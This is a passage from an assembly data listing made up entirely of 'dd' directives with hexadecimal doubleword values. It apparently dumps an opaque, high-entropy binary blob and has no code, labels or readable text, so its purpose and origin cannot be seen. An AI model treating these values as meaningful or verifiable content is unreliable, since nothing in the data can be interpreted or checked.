509F8CB3h, 199665C4h dd 8491998Ch, 0A433C13Ch, 50D4C88Bh, 9C02CEACh, 0B4082618h dd 68BFA61Ah, 70A59DD2h, 0B4266A3Ch, 22E813C7h, 0AC2A2A84h dd 81F2052Fh, 9FC85516h, 9F759D5Fh, 3D71B133h, 1594BC7Ch dd 0C304781Bh, 6087FF00h, 0DF6F9182h, 0D9371C5Bh, 5CF03946h dd 21DA7DDEh, 5656D83h, 945824C7h, 0B4F6FECAh, 0D25102CBh dd 361434FAh, 0BBF613BCh, 0FF0D7B99h, 957DB423h, 6C66997Fh dd 0AEDF0D24h, 0B5978FE7h, 7DBD4091h, 91636A36h, 18E503EDh dd 2A3EB405h, 0A04F5FB6h, 0C1484A8Fh, 0AFFEE4E7h, 0D6E1D0E4h dd 8DD909D6h, 0BE4910E9h, 777921C6h, 27D4F148h, 564993A5h dd 0C826AD0h, 0DBD86CEEh, 0B09B04BAh, 3DF2AAA4h, 4E127713h dd 0FC14293Ch, 50E82F4Ch, 0D23F49Eh, 0EDA4699Eh, 988271E6h dd 33B6DADEh, 0F0AF3092h, 0F702D5D8h, 19D915EAh, 737133C9h dd 0E1103E86h, 78066597h, 0C5D8FBCEh, 991C841Ch, 0D5FA373Eh dd 4EBDD9AEh, 0A741CDBDh, 2AF93F98h, 69B472FEh, 0C6BF55Dh dd 409E65F2h, 500DD394h, 8B441C5h, 88EDEDF1h, 87E45065h dd 442DCB00h, 0BDF397FBh, 0E58861B8h, 2E4A88D5h, 188C525Fh dd 3FAFCC59h, 0B02BC136h, 0B6178330h, 0DA92C586h, 0DE5B23E2h dd 9FDCB113h, 71EDB901h, 9FFA31EDh, 81E0677Ch, 1191B2A4h dd 8FCF3302h, 0E0C9B741h, 0DDCF14B9h, 0FEC12573h, 0A991161h dd 604901ACh, 0B83D136h, 5491B6ADh, 6D579E57h, 9C3BC98Bh dd 1FD7B105h, 0CC6BB2BEh, 6B7E61D3h, 0E1E33ECBh, 72931E38h dd 0A84A6121h, 90940D98h, 69B0AA20h, 0DA7C2667h, 5A3C822h dd 7F6204E0h, 53C7DF41h, 89BF2EBh, 0FC0577DBh, 27AA92C3h dd 96025A82h, 0F5012AC6h, 2A535FD7h, 53A99FE4h, 84DE9A4Ah dd 966CC565h, 0B5FB4640h, 432421E2h, 52582B33h, 0DB4021A1h dd 0A0F31433h, 386FB1FEh, 6A8A17C6h, 731B41F6h, 0E9D18AB6h dd 6740F8C4h, 9D2522F5h, 0F19A372Eh, 52E2031h, 3371D09Fh dd 69CFD6F9h, 0C8D69A4Ch, 0D241422Ch, 86B32EDh, 0E10DA237h dd 920A1EEFh, 0D315361Bh, 0E4FD0E3Eh, 0C9B9D1B5h, 309AD669h dd 0EC35E247h, 0C6BFFBDEh, 0EB39FC67h, 2CB41F91h, 0DB90AE79h dd 0E87C6904h, 0CB172F15h, 27D3C9A3h, 5A07C160h, 0EF850D99h dd 0C4FF094Eh, 4C66E8FBh, 28185B7h, 52F2A229h, 0B591FC26h dd 9A9A45C4h, 0F768D43Dh, 5CC997B0h, 0E4261B9Bh, 31F02051h dd 7BA00710h, 53F83655h, 0D5092DE1h, 2FE3772Dh, 0E06F2D74h dd 0B7582084h, 0A74E3DA2h, 0FF6D038h, 75B743C6h, 0FF64E58Ah dd 484878ECh, 0DC11FCA5h, 993E0BA6h, 165FB94Ch, 0B3901B25h dd 7EB98529h, 4858755Bh, 0B0FBD96Bh, 2BC14009h, 8FB5BA1Dh dd 7E19D519h, 8C2E2A76h, 0A4938894h, 99915F17h, 19718E27h dd 501B7D4Eh, 85858C94h, 50934904h, 1B9B235Dh, 0CBFB2248h dd 0F1F5752Fh, 0A5366E18h, 5A638090h, 38FC2080h, 0ED54D4B6h dd 5C093A32h, 22168E60h, 0B14F45F4h, 7DCB4102h, 0FCCFE490h dd 2392C203h, 0DE89CF04h, 375F51Ch, 11BA54D5h, 0E08A10A0h dd 78233859h, 370264C1h, 0CCCD433h, 0BB4B9019h, 6B1ABD94h dd 0DDA98800h, 9BFCECBAh, 9EA01FEEh, 2FBFA717h, 0BEDB7981h dd 4027D082h, 6451E412h, 0DDBD2783h, 215FB36Dh, 99DFB3ECh dd 3DE1B4E1h, 6098E0C8h, 0E8F237B4h, 2141011Eh, 0D3C2CDAAh dd 94E638CCh, 0A502BD83h, 904C6A48h, 9A4B9223h, 777F7D7Eh dd 412073F3h, 96E84006h, 48F76DB7h, 0FF6AFA0h, 0A83291FDh dd 0B438B4B5h, 5F727D80h, 0B320E698h, 0DB45E4B7h, 0A8A47517h dd 0EAEC6F57h, 0F9D1D8D6h, 0D6C2BBE5h, 0D194942Fh, 0DCC3659Fh dd 4C859624h, 1076B5h, 84DFE29Fh, 0E4F3C369h, 1EEC3014h dd 2200374Fh, 0BE7473A3h, 0F2877D2Bh, 0F4D23F4Ah, 597E40E9h dd 3261F4DFh, 8F78A4A6h, 1DF76155h, 0DBBC9473h, 96099F0Dh dd 0A2432F70h, 22255579h, 26BA686Fh, 2C796A9h, 0DBEFC0BBh dd 54002991h, 156CC8C5h, 0B5DAF893h, 22EF27BCh, 267075ABh dd 45EF44F0h, 370B242Fh, 9DED78A6h, 9782ED42h, 0F4488021h dd 6F2A3521h, 9505EEDEh, 0D771E476h, 8F4EBE4Ch, 2982117Ah dd 0DA1BBFBCh, 77516547h, 0AE5DAEF3h, 0DC35FAB8h, 96AA44DEh dd 7E0C1BB3h, 2DB4F20h, 0F96B0F90h, 0F53188B2h, 14564001h dd 42AB9A9Bh, 0BA24D84Bh, 0ABB6D0BDh, 937A8CAh, 0A8E3B55Eh dd 1FB1C135h, 21E8ED90h, 0BAB25F68h, 90D52BBh, 9ABABA88h dd 0E72B3E3Dh, 0F148AD74h, 99192FF5h, 0E25FA1F6h, 0CDFC0B36h dd 1F801686h, 6B261D51h, 1A237A2Eh, 7250AE42h, 7DF59E6Bh dd 0D241EAEEh, 0FC67A709h, 0E31CDFBAh, 0FC73C206h, 39C8C9B6h dd 44CC72A3h, 0EB35F16Ah, 0E205157h, 44E9D8DCh, 0E5C51031h dd 0E05A5E6Fh, 0E3599563h, 0D3A2033Ch, 20F05499h, 3C67A8E1h dd 0BD0E7E26h, 58B4C44Ch, 90341567h, 0B64DF1BBh, 7D99205Dh dd 5618E568h, 4585A10Ah, 4C2B75C2h, 3F87EE33h, 0B25DE07Dh dd 28A04EEBh, 0E45CC873h, 0E0E823AEh, 9DE5E45Ch, 1AF17184h dd 8A572660h, 0F9A85E2h, 1CE56232h, 82179274h, 0A5188981h dd 1B16AC6Dh, 0D5560FB4h, 429A32D6h, 995AB814h, 33894CE6h dd 0F32A5A17h, 5E93A40h, 14F08A37h, 7A475622h, 0CCDA39h dd 45007DCBh, 0CC8F9BB3h, 0F7871C0Ch, 0D2E7C284h, 0D91B3A0Ch dd 0B8AE7391h, 0CBE1CB79h, 0AEC5D412h, 90598E02h, 39582073h dd 9D8D19DFh, 0AD1897h, 2175F0E9h, 115E4A09h, 0A48D7D6Dh dd 3B53049Dh, 326D6980h, 8431272Ch, 0FE6868A9h, 32AD47D9h dd 0D13CC76Bh, 0D7380E42h, 54D8410Dh, 11854534h, 8DA99AC8h dd 7268DB41h, 238F5F99h, 0D8208185h, 0F893F465h, 0B4F26BC5h dd 0E2ECFF98h, 0D274276Fh, 0B563ABBBh, 39B37942h, 0AEB50ECEh dd 0F571EC7h, 0DF44531Dh, 4F4FBA8Eh, 631552C4h, 98CF385Ah dd 18664749h, 0A347D894h, 0F46F5D2Fh, 54705A91h, 6F11AF55h dd 38520548h, 0E734CC6Bh, 7DBF7CDCh, 0ED060A2Bh, 0F470BC30h dd 0DE69DCD3h, 0C48A1194h, 1B0DFC87h, 76918FD2h, 0EEC3FB26h dd 9EFE2631h, 0E31F28B9h, 444C20BFh, 0FB53A7D8h, 34D1CAF3h dd 0ABCB3AC8h, 1E765DC1h dd 1F499083h, 4F08AA59h, 83ED0E33h, 2350B471h, 13FFB6Eh dd 5577E12h, 2190324h, 47068946h, 7C2F2C95h, 0BCA6BE06h dd 1E465A0h, 73A54DFCh, 0D1C50B21h, 0C40D3AF4h, 0AC032F38h dd 6F9642E4h, 0EE226F24h, 0D39FC7FCh, 0C360E9D8h, 0F620BFB8h dd 2B6CB122h, 0FA250A32h, 0C1660394h, 9F73D619h, 0F2BD1695h dd 3E700FD4h, 3A657CECh, 0AECA5379h, 0B27BED56h, 41A7BAA4h dd 0A08E2F4Dh, 0F31D42F7h, 0FC3708B2h, 821B80DAh, 0B8C7EC5Dh dd 0AF8B2CCDh, 0E37812B6h, 0D63EAA2Ah, 7A0633C1h, 0B4B6683Eh dd 0F8399DEBh, 0F2C2B82Bh, 747C4D77h, 83E77F01h, 0DB8671AFh dd 1F45ED1Fh, 973A6EB0h, 0B6EB6AAAh, 0E1B082F8h, 0AE418FE4h dd 4E97B7D1h, 4CD023EAh, 909F5058h, 0E9D0D51Eh, 0CA90805h dd 5BAFF72Bh, 0F70227E4h, 33FCDA35h, 0C85C1EB7h, 2191C6DBh dd 58CE45FFh, 0D666C8BDh, 56D6DD07h, 0EAF50EAFh, 0AD31DBC1h dd 3B5177BCh, 33A9CEAEh, 5889878Fh, 50580D88h, 2D81BD5Fh dd 78A5C0D1h, 8D1BE25Fh, 157CDFA9h, 25C728AFh, 9D8AE310h dd 0A73FC890h, 6FBD8000h, 0EE227E42h, 3FF8642h, 0E3EE6B25h dd 0D8DE4A9Fh, 136CEDB7h, 2B755D7Ch, 46D941B1h, 555F29D2h dd 5CA3C7B6h, 0B438FE75h, 0B9E7D263h, 0AC9F33F2h, 0D59F407Fh dd 0A95F67F1h, 98294BC6h, 0D2E71A08h, 1E04F413h, 6B60A0EBh dd 0EBBA19DAh, 1C2564Ah, 62D7A241h, 764BDCBh, 0DA31D8FEh dd 3D8587C2h, 0E272C8D5h, 81756089h, 23B697B7h, 5105113Bh dd 387FD798h, 3C518741h, 16A9C3DEh, 0A477EE35h, 0CC2D3394h dd 0A919E08Dh, 1C7B1D8Bh, 0A68EAE96h, 60BBF230h, 4665DC28h dd 23B92145h, 99DBF78Ah, 33708B0Fh, 0B64C34CEh, 5812CAECh dd 592690E1h, 8E1ED9Ch, 0A39D1C00h, 0E9E1F379h, 0C0997984h dd 0F7B0FB4h, 0FB343C4h, 1F484FB6h, 0B3169E19h, 6795BAD6h dd 96689F13h, 0BB859CFEh, 3E1D9977h, 96A7266Eh, 0D7691840h dd 0F85E2F5h, 0F2D3476Bh, 3FC03E1Fh, 0B06425BFh, 29B210DDh dd 9F1BE505h, 9FD002B7h, 6145C29Fh, 0A262A704h, 209D8D38h dd 5076EED8h, 7D90888Ch, 178729C3h, 0C988A25Dh, 0DF4FB23Eh dd 70794016h, 0F0BECE4Fh, 0AC43ED49h, 0BA66729Ah, 866882ABh dd 0CCC19E81h, 278BBFF8h, 89B89E95h, 0B5B8C0F6h, 29FFB0AFh dd 649ED4FBh, 853BC066h, 0EFF2399Fh, 13BD081Ah, 3F2B56BCh dd 3BDBC7EBh, 9CED16CDh, 89D4A48Bh, 2BBF2B2Ch, 94EA50E4h dd 0CEB6293Ch, 818CFFB4h, 0A08E3F1Fh, 0FC6C556h, 88E7DF3Dh dd 0C242639Ch, 0D5DAAD1Bh, 87E4CF2Eh, 348B29BEh, 0E183AE21h dd 1A0672A4h, 5917C34h, 4CCC12F5h, 0AE47D0CDh, 684F1C15h dd 0CF5B3A2Ch, 2F3ABA9Eh, 7F2DBF1Fh, 3AB2BDB2h, 0D46AE977h dd 0E2EF4285h, 0A61FDF61h, 5353CFADh, 96A55B47h, 6E04B5BAh dd 4AA86B80h, 0E9D1370Ah, 6BD32E4Bh, 0DC654584h, 0FF9827F8h dd 954608EEh, 106F496Fh, 0AD4E277Ah, 0A92CCB09h, 8E601980h dd 78C1509h, 185E9D97h, 0F50D53D2h, 0C7FA1857h, 78327ED0h dd 814A6780h, 0C97CCDA1h, 99AF31B9h, 8C7CD66Fh, 0F5F45918h dd 521F28E6h, 4ADAC02Dh, 0D66ADAE1h, 2BE5BB42h, 0BB4580F1h dd 16440F1h, 5518A06Bh, 7F652310h, 4A4E451Fh, 0B0340FF2h dd 1C8340h, 654307F7h, 0FF1EB782h, 6B1B35AEh, 0CDAAB806h dd 0B6CFF28h, 6534C3B8h, 0BEAAA572h, 6D5ABA7Eh, 0F2D69D2h dd 0BB8ACDDDh, 33A9853Dh, 39AB7DD1h, 86E86E53h, 0AAD9967h dd 24414E6Ah, 4575AC81h, 26A99609h, 9072ADC8h, 24952BEBh dd 0D84F8CCCh, 524D2164h, 0DAEACC94h, 8D454401h, 0FB6BF098h dd 0D334EF14h, 0ECC06E41h, 0A5759369h, 8DCCA35Ch, 0AD792E02h dd 0D543BC54h, 12A41C55h, 18684177h, 7886C8FCh, 9D7F5224h dd 21F3F7D9h, 79FFF63Dh, 745020F5h, 98DC8A9Ch, 0ED0E10FFh dd 98E4F62Ah, 5700D2E7h, 1B05C841h, 2035C571h, 0F732CA14h dd 6A9765BDh, 0B43E1415h, 26B6CFDFh, 66A10A7Ah, 0DE5CDF96h dd 86586C1Bh, 7C8938ACh, 5B981F5h, 2970EB8Eh, 7F50B512h dd 5092B49h, 3F442C39h, 60D52298h, 1D7A8843h, 2525BE17h dd 0DE6FEEB6h, 3080B841h, 0F098291Fh, 1C280AA8h, 0FEDCCD7h dd 3D410C84h, 8566C889h, 0DE992689h, 37F291CBh, 0ECDAD833h dd 2A404255h, 0CAB273DFh, 5B3C104Ch, 9BBA52CDh, 2B36C8AFh dd 24EC1AA3h, 86661179h, 0D836DD05h, 3BD90316h, 0D4C5D145h dd 1E8BA4EFh, 0C356AD6Dh, 0BA658B6Ah, 0BD14062Dh, 0EEC62E9Ch dd 23175B37h, 38994CCAh, 0B56E73E3h, 0E0548001h, 428706BDh dd 0E4DF0CDAh, 379AD190h, 91423A89h, 0AA56C949h, 27E572A0h dd 891CC036h, 2AED846Bh, 0B0CDB80Fh, 580E2344h, 6DE25BE7h dd 8857F985h, 554B800Ch, 0CD3BD33Eh, 0D7FB39Fh, 64AA9B2Ah dd 0D9076BA4h, 0F214FC48h, 3A9A65D1h, 840D2C81h, 0F9A72BDFh dd 20035B2Ch, 0E624C6AFh, 8F651FD4h, 15B3E1F4h, 0D66115CAh dd 337DA8AEh, 0A7AC3745h, 65C27D3Ah, 61DA0C47h, 0C4A92171h dd 23F6E35Ch, 0B7C0F20Ch, 4431147Bh, 70493569h, 0B866BDABh dd 0E26B446Dh, 960B46D5h, 0D3B9F5D3h, 0DF0DB1CFh, 0E52FD83Ch dd 8F11865Dh, 5E85F25Ah, 84D6BE3Eh, 2A4BBD2Ah, 97F9A72Eh dd 3DDC318Ah, 7005DCDBh, 5237D36Bh, 4BFA6B5Eh, 0AFB6EF7Ch dd 5CF4352Eh, 20C5E6F5h, 81555793h, 81122EF3h, 0F6057618h dd 0B749E78Dh, 17AAC2BAh, 0A976EEF2h, 0A2CF3CEDh, 0FCF7034h dd 0EC664DD3h, 279DE50Ch, 6CCD2B9h, 99C7151Ah, 0DD97CC30h dd 0F208AA7Dh, 0DAC5A0A8h, 7DE2B875h, 0AB56E77Fh, 0DE547632h dd 0B671B12Bh, 0ED3D76CEh, 8FFF46A5h, 7D84E4C0h, 18E91E00h dd 0B30C75DEh, 28A8BB47h, 6B823B8Ah, 0AD8E2A37h, 1CE16FE3h dd 0B5D1698h, 372DF5BCh, 23255CB2h, 0E424597Fh, 1C2E048Ah dd 65567608h, 1A25116Bh, 0E055423Eh, 0F0D3E020h, 9A28A5C2h dd 3CE8314Fh, 51930A75h, 5BA82DDDh, 0A963DC3h, 37D31C1Fh dd 0F4A4F3DBh, 0E7DA122Ch, 65086105h, 0DCB114A8h, 0E27702D8h dd 4B883911h, 0C2042BEEh, 3F5FA921h, 0F7856915h, 137F290Ah dd 0FBD50F0Bh, 0B49280B0h, 0CC497B1Fh, 5534D22Fh, 0F02596Ch dd 7BBEDC7Dh, 60F459D0h, 3354B84Dh, 671BF794h, 0CA2DB00Ch dd 5766E7DDh, 30D1D2D8h, 50BD051Eh, 492E936Fh, 0CFEA684Eh dd 43A6E1B4h, 5E02C4Dh, 39138AE7h, 18D49B7Ch, 7D16B752h dd 0F237DA1h, 0BE09529Dh, 0BA60DC3Bh, 23A1AF42h, 6CDD608Fh dd 0DB6724ACh, 3AD71E29h, 7AB92C31h, 0AD6A711Bh, 0E900E78Fh dd 3FB15AA7h, 2463BF90h, 312F64BBh, 0D88CFB77h, 0FD94E4Fh dd 31742B7Bh, 8DB195D2h, 0AA0A2EDBh, 34026CB9h, 926E1C24h dd 3600CDE8h, 578DD15h, 8C9E81A6h, 2162A12Bh, 4CFBBAC3h dd 4E609517h, 0A179358Ah, 3466227Ch, 9AA0396Fh, 76E90193h dd 0AA3917DBh, 0F02B7338h, 0B601E20Eh, 9825E4EDh, 0B1C36680h dd 591A84F0h, 9A9E463Ah, 0A4157F37h, 8A44E020h, 0D77D579Ah dd 63433806h, 0C8D63D82h, 2A1BB719h, 919B2F1Eh, 0A70147EAh dd 377C6EE9h, 0CC681A48h, 3CADF19Ch, 0C1521E9Fh, 3646554Bh dd 0D374623Fh, 62541D1h, 56AECA00h, 4937160Ch, 8122C29Ch dd 1F57235Fh, 20A40E9Bh, 0C787F6E1h, 6003DA07h, 0A6DFDCC7h dd 0A974537h, 73C745F7h, 0AB4F0351h, 39331DF3h, 40D3A78h dd 975252EFh, 0CF756CD5h, 5DC47740h, 16D43031h, 6769D247h dd 0E8C8DAA2h, 4BA531F0h dd 389191B6h, 9D292E99h, 6677AAEBh, 0D80BCE65h, 9D34C8DAh dd 86358147h, 0CDACF9A4h, 0E2B3F4E1h, 0CE820568h, 0D7B5D2E2h dd 0E0DCC0D7h, 1C635DABh, 0D0DD0503h, 5F6C75DBh, 4C39F181h dd 1AD638DCh, 572762A4h, 0D6451E43h, 74E4CB49h, 0C5997DE8h dd 0CB7E9205h, 19A1B5AFh, 0FD6649Fh, 6F66492Dh, 4A76B1AEh dd 0BA704D45h, 0AE393C3Ch, 0ADF43ECh, 2B261C68h, 93A08426h dd 78566FAh, 0DFE7E455h, 5E0C0D2Fh, 0A56664C0h, 7C56B4Ch dd 776D0154h, 0FA40FE0h, 0EBF3A011h, 0FEC47066h, 0F4014AF0h dd 1E04ECB4h, 0D0DE08A2h, 67FA8731h, 0CB449FAAh, 87BA4FEBh dd 7D781B10h, 6C3AE899h, 0AE382F6Eh, 6977EB3Bh, 525DFA13h dd 7D8BAD8h, 6366FA24h, 0ACB99826h, 3157CCB8h, 0CBEC07A5h dd 2609F6C6h, 45C9014Bh, 5A38EBEBh, 37BFBBBBh, 6A52956Ah dd 8CDC3B66h, 0FE8BA62Ah, 982DBFDFh, 6D7FFCCAh, 0A9F6FF76h dd 0CD1EB82Eh, 7FBD27Ch, 5788D7F3h, 946903E9h, 617F68EDh dd 6A61618Ch, 880BF3A6h, 657C2E9Bh, 89E6F538h, 2E49F14Ch dd 697E1437h, 45A31E17h, 79AC8B13h, 47074C0Bh, 0E35F3C78h dd 8836D3FEh, 0D1CBE6h, 85F50178h, 5912D9CBh, 0E6004248h dd 7966FF3Ah, 0F1D3C404h, 0A4CD5B82h, 0AF078C68h, 0C4C5484Ah dd 2F2F55CDh, 0FEB02C77h, 456FF375h, 654B0736h, 0C35DC6Ch dd 9477A26Bh, 0D0F9844Eh, 100B424h, 0EA3973Eh, 0A0111E06h dd 0D74488D3h, 0D7F0321h, 0B7DD22E8h, 670B1FC6h, 4E914955h dd 0F70EE17Dh, 0B0138DA9h, 0ED8CEDDBh, 0CCA2D85Dh, 3CC86B58h dd 90804472h, 92C0587Ch, 2BB4257Dh, 0AD111E80h, 1267B1A3h dd 7403D34Eh, 90E02FAAh, 5D946C4Ah, 1C1FA9F2h, 345ABDE5h dd 33B6BE6Dh, 3982B3CAh, 158751Fh, 5DAAAC30h, 46508E4Fh dd 104DFA1Bh, 0B97EBA3Ah, 0B36CDCBCh, 0BD6C8635h, 0E0303958h dd 0D2FCA233h, 352A1574h, 284E7EEBh, 0FC8D3D11h, 823D6591h dd 0C16A108Eh, 6E76F3F7h, 49CD3A6Fh, 7A2FBDA4h, 0B2EC4D2Bh dd 0EDD22CB9h, 78B55A75h, 87720A66h, 78D134D4h, 9FD6A345h dd 54938898h, 0E0BB6A85h, 0E52FFE9Bh, 61BA1157h, 5A33ACAFh dd 0E135D411h, 0FEED82C3h, 9A916888h, 8418B3AEh, 8285D5B2h dd 0B215C389h, 0F8CEB7B6h, 2092E2D0h, 0B06E16C2h, 44800B35h dd 104D6D6Eh, 212C1288h, 0F0484789h, 78D4CA2Dh, 0FA2F894Ch dd 26229844h, 0D0F70FAEh, 0A98E49AAh, 0DA2F9579h, 5F52BE60h dd 19A96762h, 0C08CB15Fh, 0CF9854B8h, 369B527Bh, 964A832Eh dd 0DEF5FB96h, 0D402E494h, 0A275B461h, 57BCAC4Eh, 0AC3E8DBDh dd 970ABA0Bh, 0BF025769h, 90B91459h, 9FEF7D14h, 252925F8h dd 0E8601B4Fh, 0BC5BEE2Dh, 0AEF3ACAEh, 0C6585487h, 173B50F1h dd 0B921C958h, 0C2606F1Ah, 0F9FBD108h, 3E2682F3h, 8A38AC0Fh dd 2C227B3Ch, 4EEBBA88h, 34D2859Fh, 0A5C212B1h, 0FC3E6665h dd 0D645A85Fh, 0E7CF4A11h, 61599FC7h, 0C16263F9h, 9B8D1E18h dd 0D82FBEEh, 0B4B0B518h, 6EFCBC00h, 758850F5h, 14BF71ABh dd 0DCFECF27h, 0BC37E036h, 2BD8970Fh, 1E3F8C88h, 7AE1A66Dh dd 0AE43E693h, 945FA3FFh, 0F86EA8DEh, 34DFE95Eh, 0FC60C420h dd 5A5E6C20h, 57C8C4E5h, 338E90FBh, 3F146B8Eh, 0CB1210FFh dd 9D53F49Eh, 60B1BF4Bh, 9D720633h, 0DB02452Fh, 36CD383Dh dd 6E9DD5AAh, 413A1971h, 963F83E4h, 0EEE6C35Fh, 60F2BFCCh dd 0E4A38741h, 1562D226h, 43D0C2C2h, 0B44D9B8Ch, 0B9D3688h dd 0A27A2460h, 0A33C519Dh, 765203A7h, 0E420581h, 0F747A085h dd 0A4FFDA9Ch, 0D975CECEh, 0B76ACAAEh, 0D7AB79FAh, 0D1EF6D15h dd 0AC964793h, 3D940894h, 0AF257F2h, 3D5BE408h, 9491D274h dd 0BF5B46ACh, 0E2C25C33h, 6CA98F6h, 978A3804h, 67617CFFh dd 73D11AB6h, 5C30EFA4h, 27F068CBh, 0AF17997h, 8A5DA7C3h dd 0D5B873DFh, 8DACE012h, 0A1BF0787h, 3EBC2771h, 0DF573014h dd 15AF3A88h, 30FFB66Ch, 0F2971CEBh, 3009E3BBh, 0D82F7589h dd 0E25C7699h, 161BE9CEh, 0FE975B7h, 3E621Ah, 20DB6B5Eh dd 0BFB99424h, 0ADAEB1B7h, 0FC8B3B60h, 0D808C5E4h, 15909FBEh dd 34E030h, 223D2EE1h, 0D4181910h, 53E3A93Ah, 75E3F8C7h dd 0B2052D22h, 0F9D4898Ch, 2D8FBF55h, 6C2ED342h, 75442282h dd 50DCBC9Fh, 9472C7C3h, 61397FCDh, 83317249h, 896EEDA8h dd 0F9568774h, 7774F99Ah, 51BBFDA2h, 0D1ACA4BEh, 0A3EED8A0h dd 36FEACC6h, 97AD2C6Ch, 0FCF91D4Ch, 71397C55h, 0C2B44854h dd 9A756472h, 0F676AF5h, 0B74BB350h, 490FCC5Ch, 0CCE41282h dd 0EEBBD3DEh, 2EF768FCh, 3D8C8227h, 0D36EC98Dh, 4B510145h dd 0D1208B28h, 876DBAE5h, 6DD087D0h, 6C9B42FDh, 7C3AF48Ch dd 7D8BC386h, 0BB6752EDh, 0C5C3D13Ch, 0B7ECDCC8h, 0C960C5C5h dd 0BEB49BBDh, 0A878FF7Bh, 0CD39A61Fh, 63D91B6h, 0B0B894CDh dd 2532F9DDh, 3536C1F0h, 3B1153FFh, 0B7B582C1h, 0F711A0B2h dd 757B96C7h, 0D8128B03h, 6057874Bh, 0DCB6D80Ah, 3A56ABCFh dd 3743AF1Dh, 8EBE5912h, 441331BFh, 0E6CDE57Bh, 0B585C65Ch dd 1B5CA52Dh, 5DE3094Dh, 0BD8F706Fh, 0F44C513h, 0B5934B9Ah dd 0FABAD1A7h, 88F01F79h, 10C9816Eh, 48FF3391h, 15210427h dd 4D6BA0B0h, 9FE1451Eh, 0AA32F137h, 0A3A13CE2h, 9B705DE6h dd 44A4FC2Bh, 87C4BE76h, 8AD24EB5h, 0FEF6B2B6h, 96476648h dd 0F2291347h, 972D7E83h, 74578F71h, 3B6FA196h, 23DC4EF2h dd 67F8CE86h, 0FD5818B6h, 56A3A1A9h, 0F13B69D6h, 8CE24BFCh dd 5070C836h, 562D6DC3h, 8507FAB0h, 7A494B62h, 0ED3CBACDh dd 9BE37E86h, 13BF5C26h, 0EDB0966Dh, 4F429CD4h, 2401DF27h dd 99076940h, 0E15691EDh, 49693B9Fh, 4D403197h, 9C08E691h dd 0AD0FAB9Eh, 7082B8AEh, 4B78A840h, 449458AAh, 0C7AA7E3Eh dd 0C099C5E8h, 88CB9634h, 0D1CB68D5h, 0B3765F7Ch, 0F279962h dd 7A53B69Dh, 0EE518DC1h, 0FB4804CEh, 0ABD3B926h, 0EF72BD8Ch dd 0E3A5FA43h, 77ACAD57h, 406FF93Ah, 4EEEE0A3h, 3329B539h dd 0BCE8A047h, 777944EEh, 95F2490Ch, 0C5D3B499h, 0BFBF0FECh dd 631E0785h, 2B21F7DEh, 92AF11E6h, 61BCB3B1h, 9FCDB839h dd 81356CEEh, 0E0767925h, 3113FDDDh, 0C1C97E03h, 621E9223h dd 234C51A3h, 0F1EE676Bh, 8DD92C9Ah, 10B7EB3Eh, 0D5F6C1C1h dd 0E954DDAEh, 19B8BE43h, 0F9F32A1Ah, 615A9FF2h, 63D579FDh dd 65F2960Bh, 0F2C5D1A6h, 362EE32Eh, 0A0EA4E0Bh, 0D857D744h dd 62818062h, 0D103AE16h, 97A3FBF1h, 1D8CFBEFh, 34995FAFh dd 431991C2h, 30DB146Eh, 9D1927E2h, 0C67D2D91h, 0E9825032h dd 87757A02h, 72984BA6h, 99F1ABDCh, 69606BBCh, 0EFA24192h dd 0F0A122FCh, 4075A0D7h, 0AFCDB204h, 19C694FBh, 73F9FDA7h dd 0E66F3174h, 0BE875949h, 23E462D9h, 0BEDAA372h, 7DA8A508h dd 0BA7FB8C1h, 35B17A3Ch, 0F75B45D3h, 2B625548h, 45A7294Eh dd 58090C2h, 21F656D9h, 9FE36185h, 0DDFFD08Fh, 1D8C9C0h dd 0D0B0B06Ah, 0A9DEC656h, 63D8958Bh, 7BEFBB4Eh, 0E3A01116h dd 0C16A2C6Ch, 536E9373h, 0B92C664Fh, 1E1AAE70h, 0D54E409Ch dd 67F62870h, 43C4904Ah, 67A6DEBAh, 72C6B735h, 39849F39h dd 0A02D9F97h, 0C8BCA167h, 42B895D7h, 9B773879h, 70DA8649h dd 0A9532CE8h, 0E53AD1DFh, 62EF06D8h, 0E2AC6BADh, 35FCB148h dd 0DAABB6CFh, 0EB640E79h, 52E0033Eh, 34EAD944h, 0B8AA8AB0h dd 0DF5C4DA5h, 5EA119D3h dd 9BDAF95Ch, 0A9B5CA21h, 4571F72h, 0E3C3CB5Eh, 67E31CE4h dd 0D98AB654h, 0B67F43F9h, 5F122958h, 839FB4C1h, 417F2F2Dh dd 0B349B657h, 9892DA8Eh, 30A0F7B4h, 512936E0h, 0E1746E91h dd 534DB504h, 78303327h, 721DD643h, 30B0589Ch, 7BAD1C59h dd 0F09DA4AAh, 9348EAB8h, 270AEF9h, 2358591Bh, 979436Dh dd 5CF9F116h, 0F02708A1h, 6D3FA3C6h, 0EDBBAF6Fh, 671E2801h dd 0B71A8B5Dh, 0C0B1EDD2h, 883375DEh, 992EEC5h, 41B779BEh dd 5B250CC0h, 620C7891h, 84166927h, 0A5AEE308h, 95CA2ACEh dd 0E972966Fh, 9038A069h, 686FAF41h, 5DB68292h, 6191AC87h dd 0BB1A8256h, 0FCE83F6Bh, 35FDAC5Dh, 7F48050Ch, 1829E430h dd 4720AA09h, 0E53B6EC8h, 4ADA0909h, 0CF643299h, 9685F505h dd 0C7EAD19Ch, 6976D031h, 68FA2B48h, 70120ECCh, 2728DAEFh dd 0E3B2FB05h, 0C34679D0h, 0C0928559h, 8EA27159h, 6FC2C1BCh dd 935FA378h, 0DF083D9Bh, 0BFBF2146h, 0A49D4799h, 25B1127Ch dd 6627B702h, 0B39C4B6Fh, 61FFB14h, 24BD2524h, 0EFBC026Dh dd 4F253220h, 5AB0A752h, 55241863h, 0C664C21Fh, 0CF90CBA9h dd 0E8F4E72Dh, 228CA3DBh, 0F53494CEh, 0BDA76914h, 4D1DF04Eh dd 853EA2A8h, 0DF2D986Bh, 0F9419h, 492B6B95h, 0E63958D1h dd 8DA258BDh, 86B48AA0h, 36640469h, 0D9F36AA2h, 6B077366h dd 38BDED9Dh, 6D2E9129h, 7F291868h, 3F88EADFh, 0C5CEB164h dd 0F2BA7F45h, 547990h, 7702F7BFh, 0AE84E586h, 697201ABh dd 6FADCC22h, 65696A6Ch, 860DE7E9h, 25D7E19Ah, 518BE634h dd 0E29CA76Ch, 172E93F4h, 35DA50FEh, 3A7D08F9h, 0FD1E39D3h dd 53AE152Eh, 811D6363h, 0E24B94DBh, 0D5D89DDFh, 0B5930116h dd 0D7BD08D4h, 67CCBC5h, 0D99CC0B1h, 137A72A9h, 0F295916Ah dd 9C513C1Bh, 60028735h, 0CCFCEF3h, 44D49431h, 0A0C2581Fh dd 0D1572803h, 6F5E9A07h, 164B5AEEh, 0DC2934CEh, 0CE6A76DEh 